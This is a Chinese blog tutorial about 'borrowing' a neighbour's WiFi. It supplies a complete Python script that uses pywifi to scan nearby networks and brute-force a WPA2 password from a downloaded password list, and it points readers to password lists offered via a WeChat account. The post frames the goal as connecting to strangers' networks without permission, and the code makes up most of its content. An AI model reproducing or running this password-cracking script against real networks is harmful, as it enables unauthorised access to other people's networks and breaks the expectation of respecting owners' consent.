【Python】教你如何蹭上隔壁的WiFi

 

本文目錄:前期準備-如何破解-實現效果

本文作者:小賴同學

 

淡黃色的長裙,蓬鬆的頭髮,這好像就是我最近的寫照。最近因爲有點忙,感覺好久沒更新文章了,實在是愧對於當初的初心了哈哈哈。

言歸正傳,爲啥會寫這篇文章呢,這不,可能是刷視頻刷多了,流量都快用完了,而我自己住的地方又沒有拉網。如今這社會,不能上網那可真是難受啊,我不想拉網又不想搞流量加油包,所以有點鬱悶。

偶然點開手機WiFi列表,發現隔壁宿舍竟然有WiFi!!!OMG,我的天,那我是不是可以蹭一下他們的WiFi,可我又不認識他們,那咋搞呢?心中突然來了個小心思,網上搜索一番,於是乎,就有了這篇文章。

 

前期準備

那要如何實現蹭WiFi的夢想呢?我可以告訴你,可以用Python來蹭隔壁WiFi。pywifi提供了一個跨平臺的Python模塊,用於操作無線接口,支持Windows和Linux。官方網址:https://pypi.org/project/pywifi/。

使用前需要先通過pip install pywifi安裝這個模塊,安裝好了就可以import pywifi使用此模塊。但是運行的時候可能會報錯,提示comtypes無法找到,此時需要通過pip install comtypes安裝comtypes模塊。

同時,pywifi破解密碼需要準備好密碼本,可以自己建一個密碼本也可以直接下載已建好的密碼本。當然,肯定是使用已建好的密碼本啦。我這蒐集了兩個超級密碼本,可以直接在公衆號“學渣同學”後臺發送“密碼本”領取。

 

如何破解

首先需要聲明下,pywifi破解密碼是一種暴力破解的方式,其實現原理就是通過操縱網卡,遍歷密碼本上的密碼,一個一個地試,直到密碼正確從而連接上對應的WiFi ,所以pywifi只能用來練練手,同時因爲其破解速度太慢,實際使用價值不大。

一切準備就緒,那就開始實現夢想吧!基本的實現代碼如下:

# !/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : Lucas Lai
# @File    : wifi_decoding.py
# @IDE: PyCharm
import time
import pywifi
from pywifi import const
​
class Wifi:
​
    def __init__(self):
        self.wifi = pywifi.PyWiFi()                         # 創建WiFi對象
        self.wifi_interfaces = self.wifi.interfaces()[0]    # 獲取第一個無線網卡接口,使用索引0來獲得Wi-Fi接口
        self.profile = pywifi.profile.Profile()             # 創建WiFi連接文件
​
    def get_wifi_list(self):
        self.wifi_interfaces.scan()                         # 掃描附近WiFi
        time.sleep(5)
        results = self.wifi_interfaces.scan_results()       # 等待5s後獲取掃描結果
        for index, wifi_infos in enumerate(results):        # 打印WiFi信息或自定義其他事情
            print(index, wifi_infos.bssid, wifi_infos.ssid, wifi_infos.signal)
​
    def connect(self, wifi_ssid, password):
        self.profile.ssid = wifi_ssid                       # WiFi名稱
        self.profile.auth = const.AUTH_ALG_OPEN             # WiFi的認證算法,開放網卡
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)     # WiFi的加密類型
        self.profile.cipher = const.CIPHER_TYPE_CCMP        # WiFi的密碼類型
        self.profile.key = password                         # WiFi密碼
        self.wifi_interfaces.remove_all_network_profiles()  # 刪除所有WiFi配置文件
        tmp_profile = self.wifi_interfaces.add_network_profile(self.profile)  # 加載新的配置文件
        self.wifi_interfaces.connect(tmp_profile)           # 根據新的配置文件連接WiFi
        time.sleep(2)
        if self.wifi_interfaces.status() == const.IFACE_CONNECTED:  # 判斷連接狀態
            print(password, ": the password is ok.")
            return True
        else:
            print(password, ": the password is not ok!!!")
        time.sleep(1)
        self.wifi_interfaces.disconnect()
​
    def get_wifi_password(self, wifi_ssid, passward_txt):
        with open(passward_txt, "r", encoding="utf-8") as f:
            for line in f:
                wifi_pwd = line.strip("\n")
                is_connect = self.connect(wifi_ssid, wifi_pwd)
                if is_connect:
                    print("The right password is ", wifi_pwd)
                    return wifi_pwd
​
def main():
    pwd_txt = "你的密碼本路徑"
    wifi = Wifi()
    wifi.get_wifi_list()
    wifi.get_wifi_password("你想要蹭的WiFi熱點名稱", pwd_txt)
​
if __name__ == "__main__":
    main()

 

實現效果

因爲暴力破解花費時間比較長,爲了方便測試實際效果,我自己創建了一個簡單的密碼本,直接使用手機熱點進行測試,效果圖如下:

 

推薦閱讀

【Python】我用python爬取一月份微博熱搜數據來分析人們對新型肺炎的關注程度變化

無聊的週末,我寫了個證件照換底色神器,一秒就“變色”

用Python畫小豬佩奇,落葉樹和動漫人物

 

 

如有問題,可聯繫我

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章